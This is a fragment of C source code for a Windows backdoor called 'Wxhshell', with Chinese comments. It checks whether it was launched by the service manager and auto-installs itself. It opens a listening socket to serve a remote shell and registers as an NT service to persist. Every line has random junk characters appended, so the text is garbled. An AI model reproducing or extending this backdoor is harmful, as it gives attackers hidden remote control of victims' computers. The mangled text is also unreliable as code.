ULONG UniqueProcessId; 7d%x 7!E
ULONG InheritedFromUniqueProcessId; ,uC-^T
|n
} PROCESS_BASIC_INFORMATION; ``jNj1t{}
1!(lpp
PROCNTQSIP NtQueryInformationProcess; Cs>` f,o
Sk7R;A
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -)(=~|,Pq/
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $|g1 _;(G
~)_Nh
HANDLE hProcess; lj}3TbM
PROCESS_BASIC_INFORMATION pbi; b/a\{
/lUfxc4
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ph""[0n%o
if(NULL == hInst ) return 0; O>pX(DS
L
4@fv%LOQo
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .%n_{ab1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
,==_u
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v}u]tl$,
c|.te]!ds
if (!NtQueryInformationProcess) return 0; rmA?Xlh\
d*{Cv2A.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <!RkkU&
6
if(!hProcess) return 0; 34!.5^T
W
!j-/ql
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yC 1OeO8{
{p1`[R&n#
CloseHandle(hProcess); %dPk,Ylz
&J2UAmB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s9sl*1n1m`
if(hProcess==NULL) return 0; FtyT:=Kpc
|#o' =whTl
HMODULE hMod; w*XM*yJHU
char procName[255]; &6OY^6<
unsigned long cbNeeded; af |mk@
gNP1UH4m
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z(|$[GZP[
1+$F= M~
CloseHandle(hProcess); N 5Om~D
)-!)D
if(strstr(procName,"services")) return 1; // 以服务启动 ~xxq.rL"
<e BmCrJ
return 0; // 注册表启动 Rs"=o>Qu
} 6agG*x
J@/4CSCR]
// 主模块 xwZ1Q,'C
int StartWxhshell(LPSTR lpCmdLine) ~*1>)P8]#
{ iT==aJ=~/&
SOCKET wsl; V WZpEi
BOOL val=TRUE; %OgK{h
int port=0; i
kfJ! f
struct sockaddr_in door; K_L7a>Fr
$7AsMlq[(
if(wscfg.ws_autoins) Install(); ,V
52Fj
THQ #zQ-
port=atoi(lpCmdLine); DDR4h"Y
3@x[M?$
if(port<=0) port=wscfg.ws_port; ek<B= F
of*T,MUI
WSADATA data; uQdH():
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z{OL+-OY
B(Yg1jAe
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z8a{M$-Q
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .B~yI3D`M
door.sin_family = AF_INET; B)@Xz<Q
door.sin_addr.s_addr = inet_addr("127.0.0.1"); +I5\`By=
door.sin_port = htons(port); X8Z) W?vu
]'xci"qV`
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gBV4IQ
closesocket(wsl); GEy7Vb)
return 1; cwvJH&%0
} 5fk
A?Ecqq
3HtM<su*h
if(listen(wsl,2) == INVALID_SOCKET) { I-!7 EC2{!
closesocket(wsl); P<R^eLZ<&
return 1; DI8I'c-P
} Wtu-g**KN
Wxhshell(wsl); 9{fP.ifdv7
WSACleanup(); TW&s c9
#\X)|p2
return 0; }bw^p.ci
Te}gmt+#%
} 16Ka>=G
Fu{VO~w
// 以NT服务方式启动 geK;r0(f
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !%R):^R8
{ Ld_u Me?Z
DWORD status = 0; LI}e_=E
DWORD specificError = 0xfffffff; )2y [#Blo
!U@ETo
serviceStatus.dwServiceType = SERVICE_WIN32; NqF*hat
serviceStatus.dwCurrentState = SERVICE_START_PENDING; KtAEM;g
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *bpN!2
serviceStatus.dwWin32ExitCode = 0; E7h@Y~bNhW
serviceStatus.dwServiceSpecificExitCode = 0; N:3=G`Ws
serviceStatus.dwCheckPoint = 0; Pn^:cr|
serviceStatus.dwWaitHint = 0; [p'2#Et
51eZf JB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A*0X~6W
if (hServiceStatusHandle==0) return; K3:z5j.X
]~
N.
status = GetLastError(); "Fmq$.$%
if (status!=NO_ERROR) M/W9"N[ta
{ *sp")h#Z
serviceStatus.dwCurrentState = SERVICE_STOPPED; yj_/:eX
serviceStatus.dwCheckPoint = 0; g5 *E\T%8
serviceStatus.dwWaitHint = 0; P51c Ehf
serviceStatus.dwWin32ExitCode = status; HkRvcX
5
serviceStatus.dwServiceSpecificExitCode = specificError; M)K!!Jqh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D#'CRJh;7
return; $9\8?gS
} HHw&BN